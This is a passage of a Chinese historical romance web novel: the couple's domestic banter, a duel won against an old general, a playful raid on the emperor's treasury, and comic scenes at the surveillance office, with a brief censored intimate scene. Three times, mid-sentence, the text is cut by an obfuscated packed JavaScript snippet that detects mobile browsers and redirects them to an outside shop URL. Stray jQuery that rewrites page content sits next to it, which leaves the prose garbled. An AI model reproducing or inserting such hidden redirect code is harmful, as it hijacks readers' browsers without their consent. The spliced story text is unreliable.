燕修延缓步走到饭桌旁落座,指尖轻点桌面,眉眼间带着几分戏谑打趣:“这般吃了睡、睡了吃,迟早要胖得跟大白一模一样,到时候我一人能占满整张床,你呀就乖乖委屈打地铺咯。” 谢伟恒眼底漾起温柔笑意,抬手覆上燕修延的肚子,掌心贴着温热柔软的衣料,触感温软细腻。 燕修延下意识偏头,语气带着几分疑惑:“你做什么?” “若是真吃出一身圆润肉感,肚子摸起来定然绵软舒服。” 谢伟恒眼底笑意漾开,语调慵懒戏谑:“往后我便能枕着你的肚子休憩了。” “……想得倒是很美。” 燕修延抬手干脆拍开谢伟恒作乱的手掌,眉梢微微扬起:“我可不会胖成那副模样,就这么一说罢了,你倒还当真盘算起来。” 谢伟恒微微颔首,目光悠远柔和:“待来日四海安定,四方蛮夷皆安分守己,再无战乱纷扰,我便日日陪着你慢慢将你养得圆润些。” “趁早打消这个念头。” 燕修延伸出指尖轻轻戳了戳谢伟恒的额头:“你这脑子里,平日里可曾琢磨过半点正经东西?” 谢伟恒微微垂下眼眸,随即抬眼望向眼前人,眸光澄澈温润,唇角笑意不减:“满心想的皆是你,算得上正经吗?” 燕修延蹙眉辩驳:“我又不是东西,怎能这般比喻——你才不是什么正经东西!” “我确实不是正经东西。” 谢伟恒不以为意拿起桌上的筷子,细心地为燕修延往碗里布着适口菜肴,眉眼弯弯,话语暗藏巧思:“如此说来,我与燕大人倒算得上天生契合,格外般配。” 燕修延被这番话语说得无言以对:“呸,厚脸皮。” 用过晚膳,燕修延领着身形壮硕的大白去往演武场散步消食。 连日控制食量在八分饱,再加上每日不间断的绕场奔跑,往日臃肿憨态的大白此刻已然堪堪能看出腰了,不复往日圆滚滚的模样。 “大白,再加把劲早日瘦回当初初见时矫健威风的模样。” 燕修延低头看向脚边甩动尾巴的大白,柔声叮嘱。 大白硕大的脑袋不住摇晃,喉咙里发出低沉的嗷呜声响,摆明了不情愿抗议的模样,蓬松狮毛随着动作轻轻晃动。 燕修延咧嘴轻笑,故意板起神色吓唬它:“还敢摇头抗拒,再不听话往后便只给你五分饱的吃食。” 大白张嘴轻轻咬住燕修延的衣摆撒娇耍赖。 “呦呵,还敢跟我讨价还价,莫非是想饿上一顿惩戒一番?”燕修延挑眉打趣。 大白立马松开衣料,迈着沉稳的步子乖乖绕着演武场跑动起来。 燕修延望着它跑动的背影,语气意有所指:“对待顽皮的性子,总归要凶点方才能乖乖听话。” 谢伟恒听得真切,唇角勾起一抹缱绻笑意:“燕大人这般略带凌厉的模样,格外动人夺目。” 燕修延:…… 他快步迈步跟上前方奔跑的大白。 一番奔走下来,浑身沁出薄汗,周身筋骨尽数舒展。 燕修延褪去衣衫入浴,暖意驱散一身疲惫,洗完澡后慵懒斜倚在竹榻之上,身侧整齐摆放着好几本书。 “白日睡得太过充足,今夜定然毫无睡意,我便在外间翻阅书卷打发时辰。” 谢伟恒里衣松垮着,墨发随意散落肩头,弯腰俯身稳稳将慵懒的燕修延打横抱起,轻柔放置在柔软床榻之上。 随后取来一册古风诗集,轻轻摆放在枕边:“夜里不睡,白日困倦精神不济,长久下来损耗身子,我诵读诗文伴你入眠。” 燕修延素来对晦涩诗文提不起兴致。 文绉绉的,短短数语囊括万千心绪,读来沉闷乏味。 他皱了皱鼻子,面露几分抵触之意:“换些别的来讲吧,我又不困,就算你诵读诗词我也睡不着啊。” “那我们约定一番。” 谢伟恒靠着床头坐定,指尖轻轻抚过书页,温和提议:“我先诵读五首诗作,倘若五首过后你依旧毫无困意,便为你讲解行军兵法,可好?” “一言为定。” 燕修延舒展四肢平躺下来,双臂交叉枕在脑后,模样随性散漫,“快快开始,读完五首给我念兵法。” 谢伟恒含笑应好。 缓缓翻开书页,低沉温润的嗓音缓缓吟诵起诗词。 字句清雅婉转,声声入耳舒缓心神。 结果诗篇才念到第三首,方才还精神抖擞的燕修延已然合上双眼,绵长的呼吸渐渐变得平稳绵长,沉沉坠入睡梦之中。 谢伟恒停下诵读,目光温柔缱绻静静凝视着怀中燕修延恬静的睡颜。 他动作轻柔至极,小心翼翼拨开贴在燕修延脸颊旁的碎发,将发丝规整拢至耳后,生怕细微动静惊扰这份安眠。 睡梦中的燕修延下意识轻轻翻身,脸庞转向谢伟恒一侧,唇瓣无意识地轻轻咂动两下。 谢伟恒抬手一缕柔和掌风轻扫而出,烛火瞬间悄然熄灭,周遭陷入静谧幽深的黑暗。 寂静夜色里,燕修延细碎模糊的梦呓轻轻响起:“谢伟恒……不是东西……” 谢伟恒忍不住低低轻笑,他无声弯起唇角,轻轻侧身躺在燕修延身侧,将人妥帖护在身旁。 “好梦相伴。” 燕修延同年大将军的切磋比试,选址在气势恢宏的皇家比武场。 虞睿祥终究难以按捺心底好奇,选择了亲临比武台旁观看。他也想看看现在的燕修延武艺究竟精进几何。 别看年大将军年近花甲,满头鬓发染上霜白,可常年征战沙场淬炼出的一身本领,依旧远超诸多年轻后辈将领。 数几十年浴血厮杀,让他深谙对敌周旋之道,总能于瞬息之间捕捉对手招式破绽,出手便是直击要害,一击便可破敌制胜。 往昔数次切磋比试之中,燕修延屡屡在年大将军手下落于下风,几番交手皆难以占据上风,极少能够顺利取胜。 虞睿祥侧过头看向身侧的谢伟恒,轻声开口询问:“伟恒依你之见,今日这场比试最终谁能取胜?” 谢伟恒的目光始终牢牢定格在比武台上身姿挺拔的燕修延身上,眸光坚定沉稳,语气笃定作答:“我以为,此番比试燕大人定会得胜。” 虞睿祥轻声提醒,言语间带着几分顾虑:“修延以前数次交手,从未赢过大将军。” “陛下此番问我,我心偏向燕大人,自然坚信他可以取胜。” 谢伟恒神色淡然从容,语气沉稳:“况且沙场武斗之中,从来没有一成不变的常胜将军。” 虞睿祥闻言不再多言。 论私心,他同样盼着燕修延能够打破过往桎梏,赢得这场比试。 羯国近来频频异动,隐隐露出大举开战的苗头,背后肯定有人帮忙出谋划策,他能想到燕修延心中定然也能想到,只是早晚而已。 年大将军年事渐高,精力体力不复盛年,以他沉稳老练,运筹帷幄的本事最适合坐镇后方,统筹全局安稳军心。 但,真正奔赴凶险战场,依旧需要身手强悍、胆识过人的猛将,率领万千将士冲锋陷阵,奋勇杀敌。 先帝在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646330|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位多年偏重文治、轻视武学,朝堂武将势力日渐衰弱,军中虽不乏有才干之人。 可,武艺超凡、战力顶尖的出众将士,却是寥寥无几,格外难得。 比武台上,燕修延与年大将军相对而立,气势两两相持,气氛瞬间紧绷起来。 年大将军轻轻低咳一声,压低嗓音再三关切询问:“小修延啊,你当真休养妥当,此刻可以全力应战了?” 燕修延略带几分窘迫地抬手摩挲鼻尖,:“大将军,你这话已然问过三遍了,我足足休整两日,如今体力充沛能放倒一头牛。” “好,既然你信心十足,那老夫便不客气了。” 年大将军抬手握住自身惯用的长剑,目光落在燕修延手中同样握持的长剑上,眼中顿时闪过一抹诧异:“你平日里最擅长的兵器向来是长枪,今日为何反倒选用长剑对敌?” 燕修延手握长剑,身姿飒爽嘴角扬起一抹自信飞扬的笑容:“大将军,我现在精通的兵器可多了去了!” 年大将军眼中泛起浓浓的期待,战意缓缓升腾:“既然如此,今日老夫便不会手下留情!” 燕修延将剑鞘掷落在擂台地面,清脆声响落:“该说这句话的人,应当是我才对!” “哈哈哈,好志气!” 年大将军放声大笑,神色豪迈:“今日畅快淋漓交手一番!” 话音尚未彻底消散,燕修延身形骤然一动率先发起攻势,手中长剑裹挟凌厉劲风,剑身寒光破空闪烁,直挺挺朝着年大将军心口方位刺去。 年大将军反应迅捷,脚下轻挪侧身稳稳避开锋芒,手中长剑顺势反手横扫,剑光凛冽,直逼燕修延脖颈之处,沉声出声:“倘若只有这般招式,可还远远不够!” “大将军未免太过小瞧人了!” 燕修延嘴角噙着肆意洒脱的笑意,头颅轻巧偏转利落避开迎面而来的剑锋。手腕运力翻转,长剑横挡而出精准格挡开年大将军袭来的招式。 “锵”的一声。 刺耳尖锐的金属碰撞声响起,锵然巨响回荡在整座比武场内。 两柄长剑相撞后瞬间分离,剧烈的震感顺着剑身传导至手臂。 年大将军虎口微微发麻,眼中不由得浮现出赞赏的笑意。 燕修延手腕灵活抖动,剑身变换姿态再次裹挟凌厉攻势袭来,朝着年大将军接连发起猛攻。此番攻势不再单调直白,招式变幻莫测,虚实结合让人难以预判。 年大将军神色渐渐收敛轻松,神情变得严肃郑重,全身心投入对战之中,谨慎应对每一招一式。 这套剑法…… 看似只是简单一式,实则暗藏玄机能依据对手临场应对,瞬息衍变出五种截然不同的杀招。 步步紧逼,招招都能封锁对手退路,让人无处闪躲。 你来我往之间,燕修延招式更迭速度越来越快,看得人眼花缭乱,心神紧绷。 年大将军一边沉着招架进攻,一边凝神细观,竭力搜寻燕修延招式里的细微破绽。 同样,燕修延心思敏锐目光紧紧锁住他的身形,伺机寻找反击契机。 几番激烈缠斗过后,燕修延率先捕捉到年大将军转瞬即逝的破绽。 趁着年大将军仓促格挡的刹那间隙。 燕修延脚下猛然发力大步向前踏出一步,手腕飞速翻转,迅速变换握剑手势,剑尖陡然向上挑起。 凛冽剑锋稳稳停在年大将军脖颈前三指距离处,寒光逼人。 而年大将军的长剑尚且来不及回防阻拦,胜负已然尘埃落定。 ————————————— 大黄:吼吼吼吼吼(我也只是一只小咪咪,为什么要这样对我!??????) 173. 最爱你行了吧 点到为止,燕修延手腕轻巧一转凌厉长剑顺势收回,在空中挽出一道利落的剑花,他抬手拱手,眉眼清亮坦荡:“大将军,承让了。” 年大将军依旧凝立原地,眼底还残留着方才对决的震颤与惊艳,脑海中反复回味着燕修延最后那记临场换手的绝杀剑招。 缓缓收回目光,他布满风霜的脸上漾开真切又欣慰的笑意,连连点头叹道:“是我输了,长江后浪推前浪,江山代有人才出!小修延,如今的你早已今非昔比,太强了。” 历经半生沙场、阅尽天下武者,能让年大将军真心夸赞的年轻后辈寥寥无几。 燕修延半点不谦虚,眉眼飞扬,少年意气蓬勃肆意,唇角扬起张扬明媚的笑:“我也觉得自己现在强得可怕。” “哈哈哈!好!好一个年少轻狂!” 年大将军朗声大笑,格外偏爱他这份坦荡赤诚、不藏锋芒的性子:“有这份底气便好!他日奔赴边疆、征战四方定能让塞外敌寇闻风丧胆,大振我大虞国威!” 一老一少相视一笑,一人沉淀半生家国壮志,一人怀揣年少凌云意气,目光交汇间,尽是赤诚坦荡的家国胸襟。 燕修延笑意盈盈,心头畅快至极,下意识转头回望看台,目光精准撞进谢伟恒深邃专注的眼眸里。 自比武开始,谢伟恒的视线从未从他身上移开,温柔、笃定,藏着满心的偏爱与骄傲,静静凝望着台上肆意挥洒锋芒的少年。 燕修延心头一暖,脚步轻快利落纵身一跃,稳稳跳下比武台,走到谢伟恒身前。 他抬手递出手中长剑,眼底亮晶晶的,带着独属于胜利者的雀跃与郑重:“这是我第一次赢过年大将军的剑,送给你。” 谢伟恒垂眸看着他掌心精致的剑柄,抬手覆住燕修延的手,十指相贴,一同握住那柄尚余微凉剑气的长剑。 一旁双臂环胸的虞睿祥无奈开口:“朕说一句,这貌似是朕宫里的佩剑。” 燕修延脸上的笑意僵住,满眼错愕,瞪大双眼满脸不敢置信:“不是吧不是吧!陛下你也太小气了吧!赢了比武还要收回兵器?” 谢伟恒看着燕修延一脸委屈较真的模样,眼底漾开浅浅笑意,抬手温柔拍了拍他的手背:“陛下大度,想来是觉得今日你与大将军的比武精彩绝伦、堪称一绝,是想以此剑为彩头,破格赏赐二位。” 虞睿祥:…… 年大将军彻底懂了先前帝王的感慨,温润儒雅的谢伟恒真的很认真在帮燕修延从帝王手里抠钱、抠好处 此番回京,他对谢伟恒的认知,彻彻底底的发生变化。 年大将军不由仰头开怀大笑,顺势躬身行礼:“既然小谢大人这般说,那臣便谢陛下隆恩了!” 虞睿祥微微睁眸满脸震惊:“大将军你这……” 这么短的时间就被带偏了? 今日这场酣畅淋漓的比武,看得惊心动魄,真是格外费钱。 算了算了,今日高兴,费钱就费钱吧。 虞睿祥带着一行人移步私库。 私库之内珍宝罗列,珠光宝气错落有致,美玉、古玉、神兵、绸缎、稀世摆件琳琅满目,熠熠生辉。 年大将军侧目看着燕修延像回了自己家一般自在从容,在陛下私库里转悠着,层层珍宝架之间时不时驻足打量,还侧头低声和谢伟恒细细商量,盘算着今日该挑哪件最合心意、最是珍贵。 再看端坐旁观的虞睿祥,神色淡然,全然习以为常,显然早已见惯了这一幕。 虞睿祥看向年大将军,大方抬手示意:“大将军不必拘谨,随意挑选。若是自己没有心仪之物,也可替尊夫人多挑两件。” 话音刚落,正在珍宝架后探头张望的燕修延露出半张脑袋,眼神亮晶晶的追问:“两件?陛下这么大方?” 虞睿祥斜睨他一眼,没好气的叮嘱:“你就只能挑一件,不许多贪。” 燕修延收敛雀跃,脚尖轻轻在光洁的地面上划着小圈,摆出一副委屈的模样,语气黏糊糊的撒娇:“可是我也想给我家亲亲夫人挑一件嘛,总不能厚此薄彼。” 虞睿祥嘴角狠狠一抽,彻底败给了这人的厚脸皮,闭着眼随意摆手妥协:“行行行!拿拿拿!都依你!” 得到应允,燕修延瞬间眉眼舒展半点不见委屈,立刻伸手拉住谢伟恒的手腕,快步走向库房最深处的几排珍宝架,压低声音兴冲冲分享:“我知道,陛下最珍爱的宝贝都在里面,件件价值连城、世间罕有,咱们挑个最贵的!” 虞睿祥抬手无奈捏了捏眉心,满心无奈。转头便看见年大将军忍得肩膀微颤,笑得一脸开怀。 察觉到帝王目光投来,年大将军收敛笑意,端正神色,装作认真打量珍宝的模样,从容开口:“陛下,臣去给夫人挑两件去。” 待他们尽数挑选完毕,虞睿祥留年大将军在宫中用膳,转头毫不留情地抬手驱赶燕修延,满脸嫌弃:“赶紧走赶紧走,看见你就心烦。” 燕修延抱着满怀珍宝,脸上挂着笑嘻嘻的模样,语气却故意拖出几分委屈,佯装失落:“陛下,我难道不是你最疼爱的弟弟了么?” 虞睿祥目光淡淡扫过始终含笑凝望燕修延的谢伟恒,眼底掠过一抹促狭笑意,语气慢条斯理,特意加重了字眼:“自然是,修延当然是朕最、爱的弟弟,亦是朕的友人。” 燕修延脸上的笑意一收,心头咯噔一下,陛下为什么偏偏着重咬在“最爱”二字,还刻意多加了“友人”的后缀,怎么听怎么别扭古怪。 他转头看向谢伟恒,撞进对方盛满温柔笑意的眼眸里,恍然大悟,陛下害他! 燕修延心头一慌下意识往后退了半步,想要躲到年大将军身后避难,急声道:“大将军!我不走了!我想留下来跟你一起在宫里用膳——” “家中厨子新学了几道小菜。” 谢伟恒轻声开口打断他的话,长臂伸出稳稳揽住燕修延的腰,对着虞睿祥从容行礼:“陛下,我与修延先行告退。” 言罢,又转头对着年大将军微微颔首示意。 年大将军目瞪口呆地看着眼前一幕。 看似是谢伟恒搂着燕修延从容离去,可目光细微看去,便能发现燕修延的双脚根本未曾落地,整个人都被对方稳稳半抱在怀中,步伐轻盈从容,带着不容挣脱的温柔掌控。 待两道相依相偎的身影彻底消失在宫道尽头,年大将军才回过神来,和虞睿祥对视一眼。 再也忍不住,一同低笑出声。 年大将军抚掌感慨,满是唏嘘:“多少年了,总算有个人能彻底降住小修延这混不吝的性子了。” 虞睿祥笑着点头,深表赞同:“可不是嘛。” 就是他的私库,往后怕是要日日‘受伤’了。 燕修延一手牢牢抱着从帝王私库挑来的珍贵珍宝,腾出另一只手不客气地揪着谢伟恒的耳垂,压低声音气呼呼地抗议:“你赶紧把我放下来!” 谢伟恒微微松开手臂。 双脚落地的瞬间,燕修延扭头转身作势就要往皇宫膳殿的方向折返:“你是不是傻!有御膳不吃偏要回家吃!” 谢伟恒环在燕修延腰间的手丝毫未收回,依旧牢牢圈着。 因此燕修延没能走掉。 “燕大人这是想在这里与我好好探讨一番,为什么会成为陛下口中的‘最爱’么?” 燕修延垮着一张脸,没好气地瞪他:“你倒是会选择性听话!后面特意加的‘友人’两个字,你是一个字都不提是吧?” 谢伟恒收紧手臂,让燕修延的身形更贴近自己,胸膛相贴,气息交融,他坦然低语,带着几分无赖的温柔:“我无赖啊,只听我想听的,只认我想认的。” 燕修延:…… 世人皆道他燕修延狡黠无赖、嘴利心野,可真要比起耍无赖,他在谢伟恒面前,简直纯良得不值一提。 几名捧着宫廷点心与赏赐绸缎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646331|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫人缓步走来,身姿端正,步履轻盈。 燕修延放软语气,小声妥协:“松开我吧,我不回去蹭御膳了。” 谢伟恒这才缓缓松开环在他腰间的手,分寸拿捏得恰到好处。 宫人们快步恭敬低头行礼,待走远之后,才敢悄悄抬起头。 压低声音细碎议论,眉眼间满是好奇与艳羡。 “刚才远远看到谢书令和燕正使,是在……吗?” “亲了吧。” “看样子亲了挺久,老远就看他们抱在一起了,那般亲密断断不会有错。” “谁能想到往日光景啊,从前朝堂之上二人针锋相对、势同水火,半点不肯相让,如今竟是这般亲密无间、形影不离。” “可不是嘛!当初满朝文武都揣测,二人成婚之后,定然三日一小吵、五日一大闹,不得安宁。” “这你就不懂了,在床上打,不也是打嘛。” “嘘!快噤声!这话万万不可外传,仔细惹祸上身!” 燕修延接连打了两个清脆的喷嚏,斜着眸子幽怨地看向谢伟恒。 “刚才那些宫人定然在背后偷偷议论我们。在皇宫里搂搂抱抱被人看了笑话,成何体统。” 谢伟恒垂眸看着他鼓着腮帮子气恼的模样,心头软得一塌糊涂。 他伸手轻轻勾住燕修延纤细的小指,指尖轻轻摩挲,唇角噙着温柔缱绻的笑意,轻声慢语:“世人皆爱提桶济世,心怀天下万民。我无心顾及旁的,我只想抱着我的燕大人。” 燕修延听得眼皮直翻,心头又羞又臊。 不得不说,有的时候听谢伟恒说话,感觉冷的不得了。 归家之后,夜色彻底沉落,屋内烛火温柔摇曳。 谢伟恒果然没让燕修延落空,陪着他认认真真、细细探索讨论了下“最爱”两个字。 谢伟恒将燕修延的双T放置臂弯,__一下下的C燕修延的** 从白日陛下的戏谑打趣,到旁人的细碎调侃,再到二人朝夕相伴的点点滴滴,温柔缱绻的氛围裹满整间卧房。 …… (过程读者们自己想一下吧,作者尽力了,求过求过求过!!!) 最终,嘴硬傲娇、不肯服软的燕修延,终究抵不过谢伟恒步步温柔的纠缠,他将滚烫泛红的脸颊深深埋进谢伟恒的颈肩,鼻尖萦绕着他身上清冽干净的墨香,嗓音轻轻发颤:“最爱你、最爱你,行了吧!全世界最爱的就是你!” 谢伟恒抱着燕修延微微坐起身,低头轻轻吻去他额角细密的薄汗,嗓音低沉温柔,带着几分故意的委屈:“燕大人说得这般敷衍潦草,半点诚意没有实在叫人心寒,好生伤心。” 燕修延红着脸,抬手轻轻一巴掌呼在谢伟恒的脸上,力道轻柔,全无半分怒意:“你少得寸进尺啊!” “我不会得寸进尺,我步步为营,只进……” 谢伟恒稳稳攥住燕修延的手腕,低头将他的指尖含在唇边轻轻细咬,动作温柔又缱绻。漆黑如墨的瞳孔望进燕修延迷蒙的眼眸里,盛满极致的深情,裹挟着浓烈又偏执的占有欲:“你。” 燕修延慌乱移开视线,耳尖、后颈尽数染上浓郁绯色,滚烫得像是要烧起来一般,浑身都浸在羞赧温柔里,再也说不出一句反驳的话语。 美酒流转,佳肴满席,酒过三巡,菜过五味。 虞睿祥抬眼望向窗外沉沉夜色,忽然漫不经心地开口,轻声低语一句:“也不知修延此刻有没有好好吃上晚饭。” 年大将军未曾听出半点深意,只当帝王依旧惦记着小修延,笑着从容应答:“陛下放心,有小谢大人悉心照料,事事周全细致,断然不会让小修延饿着肚子。” 虞睿祥垂眸,拿起手边酒杯轻轻遮住唇角那抹意味深长的浅笑,眼底盛满了然的戏谑。 确实,不会饿着。 某人,早已将二十有二的少年妥帖珍藏,万般温存,细细疼宠,吃干抹净。 174. 祝你梦想成真 “也不知道楼兰那边怎么样了。” 燕修延单膝曲起随意蹲在监察司最高处的屋顶檐角,深色衣袍被风掀得轻轻晃动,墨发松松挽着,几缕碎发垂在光洁的额前。 目光遥遥望向天际尽头,那里云层绵长,望不见千里之外的楼兰边境。 手中是冯二哥千里寄来的家书,纸上字迹朴实粗犷,寥寥数语交代了边境近况:马匹已顺利交接完毕,羯人蠢蠢欲动,整军练兵、囤积粮草,开战的势头越来越盛且战事怕是近在咫尺不会拖延太久。 信的末尾突兀缀了一句温和的问询,问他近来在京城可好,与谢伟恒相处得是否顺遂安稳。 燕修延指尖摩挲着那行字迹,唇角勾起一抹浅淡笑意。 冯二哥常年驻守边关,性情粗爽耿直,只懂军务俗事,从不会这般细致体贴、过问自己私情。 不用多想也知这话是冯老特意嘱咐,让他二哥在家书上多添这句关切。 燕修延利落折好信纸,翻身从数丈高的屋顶跃下,身姿轻盈如羽,落地无声,半点波澜不惊。 他步履轻快拐进画室,一眼就瞥见桌案上摆放整齐的笔墨纸砚,顺势伸手抽走安清雅搁在笔山上的狼毫画笔。 “借我写个信。” 安清雅正立于窗边整理画稿,指尖抚着未干的丹青墨迹,见他蛮横随性的模样,柳眉微颦,语气带着几分戏谑吐槽:“监察司穷到连一支写字的笔都要抢旁人的啦?” 燕修延半点不心虚,捏着笔杆理直气壮:“懒得磨墨,你的墨研得匀正好省事。” 说罢他俯身落在案前,刚要落笔,余光瞥见身侧的安清雅迟迟不走,一双眼眸亮晶晶的总往他信纸方向瞟。 燕修延抬眼,唇角噙着一抹似笑非笑的弧度,朝着门口的方向轻轻努嘴:“你先出去。” “这是我的画室。” 安清雅气鼓鼓反驳,寸步不让,分明是自己的地界,反倒被主人赶出去了。 燕修延不辩不恼,只是静静看着她,眼底笑意温润没有往日半分凌厉强势,沉默不语却自带气场。 安清雅抿抿唇,终究拗不过他,只能悻悻转身往外走。 刚踏出画室门槛就撞见途经此处的柳岚。 她叫住柳岚,忍不住低声嘀咕,眼底满是新奇:“柳岚你有没有发觉,咱们头儿近来的一举一动越来越像谢书令了?” 换做从前的燕修延,被人赖在跟前碍事定然是一句干脆利落的【赶紧滚】而不是只含笑凝视。 柳岚脸上露出习以为常的坦然,想也不想便应声:“这有什么稀奇的?他俩日日朝夕相对,同吃同住同榻而眠,日日相处在一起,性子模样、言行举止潜移默化,越长越像再正常不过。” “也是。” 安清雅忍不住轻笑出声:“果然是夫夫相。还好是头儿像谢书令沉稳温和,不是谢书令像头儿跳脱狡黠。” 否则陛下怕是隔三差五就要头疼叹气了。 燕修延本就懒怠笔墨,不爱长篇大论,回信写得极为简短凝练,字字精准,直击要害。 开篇叮嘱冯二哥与冯老:羯人此次贸然异动绝非仅凭蛮勇,背后定然有人筹谋划策,且此人极有可能是在大虞朝堂、身居暗处的官员,让边境众人务必多加戒备,谨防伪报与内应作祟。 而后落笔交代私事:他和谢伟恒在京城一切安好,日子顺遂安稳。至于具体过得如何待爷爷日后进京,寻一处清静茶馆小坐一会就知道了。 又细细叮嘱一句,让冯二哥务必尽心照料年冯老,切莫让老人操劳奔波。 写到末尾,他心念一动,眼底闪过一丝促狭笑意,无事找事地添上一行小字:【二嫂若是闲来无趣,可以拿笤帚丝抽二哥玩儿。】 写完收笔,他将信纸对折两次,塞进普通素色信封,封好封口,递给门外待命的下属:“派人送往边境,不用交给我二哥,务必亲手交到二嫂手中。” 温瑞走过去又退回来,不由得满心疑惑忍不住凑近问道:“头儿,你笑的这般不怀好意,指定是又憋着什么坏心思呢?” 燕修延抬眸扫了温瑞一眼,目光淡淡掠过他的眉眼,语气慢悠悠带着几分调侃:“看你气色红润,精神尚可,倒是难得——终于和南宫友好相处了?” 一提到南宫何遥,温瑞脸上的松弛荡然无存,眼底燃起满满的抵触与戒备,咬牙切齿,满脸愤懑。 “友好相处?绝无可能!我迟早要在秋儿面前彻底揭穿南宫卷毛那家伙的伪善面目!” 这个卷毛狗居然背着朱语秋对他暗龇牙挑衅,处处针锋相对。 摆明了就是觊觎他的妹妹朱语秋! “休想凭着一副皮囊骗走我妹妹,南宫卷毛这辈子都别想踏进我温家大门半步!” 燕修延看着他气呼呼的模样,慢条悠悠开口,淡淡戳破现实:“貌似,人家早就已经踏进去了。” 此话精准戳中要害。 早前温父温母远行归京知晓了南宫何遥伴在朱语秋身侧、情意颇深的事后,非但没有阻拦,反倒主动让朱语秋将人带回温家。 老一辈人心思通透,阅人无数,一眼便看穿了南宫何遥对自家女儿藏不住的深情。 与其让两个年轻人在外私下相处、滋生变数,不如放在眼皮底下仔细观察,人品心性、一举一动皆能了然于心。 温瑞一噎,话语卡在喉咙里,满腔怒火化作无处发泄的郁闷,整张脸都垮了下来。 他赌气似的转身纵身一跃,干脆倒挂在庭院的树上,四肢舒展,脑袋朝下摆出一副摆烂赌气的模样,闷闷不乐。 燕修延看着他孩子气的模样,唇角微扬出声安抚调侃:“多大点事,至于气成这样?你娶了异国公主,语秋将来可能招个异国男子做赘婿,一来一回正好公平,多好。” “这怎么能一样?!” 温瑞炸毛,倒挂在树上疯狂反驳,语气满是不乐意:“我娶公主,我挣钱、我花钱养着她,那是天经地义、理所应当!可若是让南宫卷毛入赘,那就是我妹妹辛辛苦苦挣钱养着他!这账根本对不上!” 温泽听见这话,慢悠悠蹲在树根下,仰头看着倒挂树上的温瑞,笑得眉眼弯弯欠揍至极:“语秋心甘情愿乐意养,那是人家小情小趣,你这个当哥哥的管不着,嘿嘿。” 温瑞怒火上涌就要翻身跳下树收拾温泽,奈何他动作太急,枝头本就纤细的老枝不堪重力,“咔嚓”一声脆响直接应声断裂。 “咚!” 一声沉闷的落地巨响响起。 温瑞结结实实脸朝下摔在地上,尘土微微扬起。 “哈哈哈!” 温泽再也忍不住,抱着肚子蹲在地上放声大笑,笑得直不起腰。 周遭路过的监察司巡检、差役闻声赶来,看清地上狼狈趴着的温瑞,先是一愣,随即忍不住跟着哄笑起来。 层层笑声环绕耳畔,温瑞慢慢撑起身子,抬头眉眼紧绷,眼底杀气腾腾,脸色黑得彻底。 “不好!有杀气,快跑!” 众人作鸟兽散。 燕修延上前一步伸手轻巧揪住温瑞的后领,将人从地上提起来:“好了好了,别在这闹腾丢人了。再说,南宫何遥未必就是需要女人养着的软饭男,人家说不定家底丰厚得很。” 就是这些钱,都落不到南宫何遥手里罢了。 温瑞转头垮着一张脸,满脸委屈又挫败,抬头望着燕修延:“头儿,你觉得我看起来很好骗?” 燕修延松开揪着他衣领的手,唇角噙着温润浅笑,实话实说:“好不好骗暂且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646332|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不论,反正挺好揍的。” “!!!” 温瑞捂着胸口,满脸震惊,眼神里写满难以置信,又委屈又伤心:“头儿!你居然胳膊肘往外拐帮着南宫卷毛欺负我?” 燕修延抬手轻轻拍了拍他肩头,俯身凑近压低声音,语气笃定又通透:“就他那内敛隐忍的性子,想悄无声息骗走语秋根本没那么容易。语秋是什么心性你还不清楚?便是你当面直白告知她,她都能当你是随口玩笑,根本不上心。” 听燕修延这么一说,温瑞微微一怔,细细回想自家妹妹的性情,觉得他说得句句在理。 他眼珠一转,眼底闪过一丝狡黠,露出一脸奸笑:“我想到一个绝佳的好法子!桀桀桀——啊吠吠吠!啊!疼!头儿你干嘛敲我头?!” 温瑞捂着后脑勺,疼得龇牙咧嘴,瞬间破功。 “笑的太难听,聒噪。” 燕修延收回手,不用细想也能猜透温瑞那点小心思。 无非是想让温父温母收南宫何遥做义子,以兄妹之名束缚二人,断了彼此的情愫,让南宫何遥彻底没了接近朱语秋的名分。 这算盘打得响亮却终究是白费功夫。 温父温母心思通透,早已看透一切,本就抱着观察的心思留南宫何遥在府中,想看看此人是否值得托付女儿,又怎会顺水推舟收为义子? “祝你美梦成真。”燕修延不拆穿,只随口调侃一句,转身便往外走:“我先回去了。” 走出监察司大门,外头暖阳正好,一辆雅致的马车静静停靠在树下,谢小厮肃立一旁安静等候。 燕修延脚步轻快纵身一跃跳上马车,熟门熟路地挨着谢伟恒身边坐下,靠着车壁,语气慵懒散漫:“今日倒是回来得挺早。” 谢伟恒端坐车内,身姿挺拔清雅,抬手从身侧取出一包精致点心,打开后是软糯香甜的桃片糕。 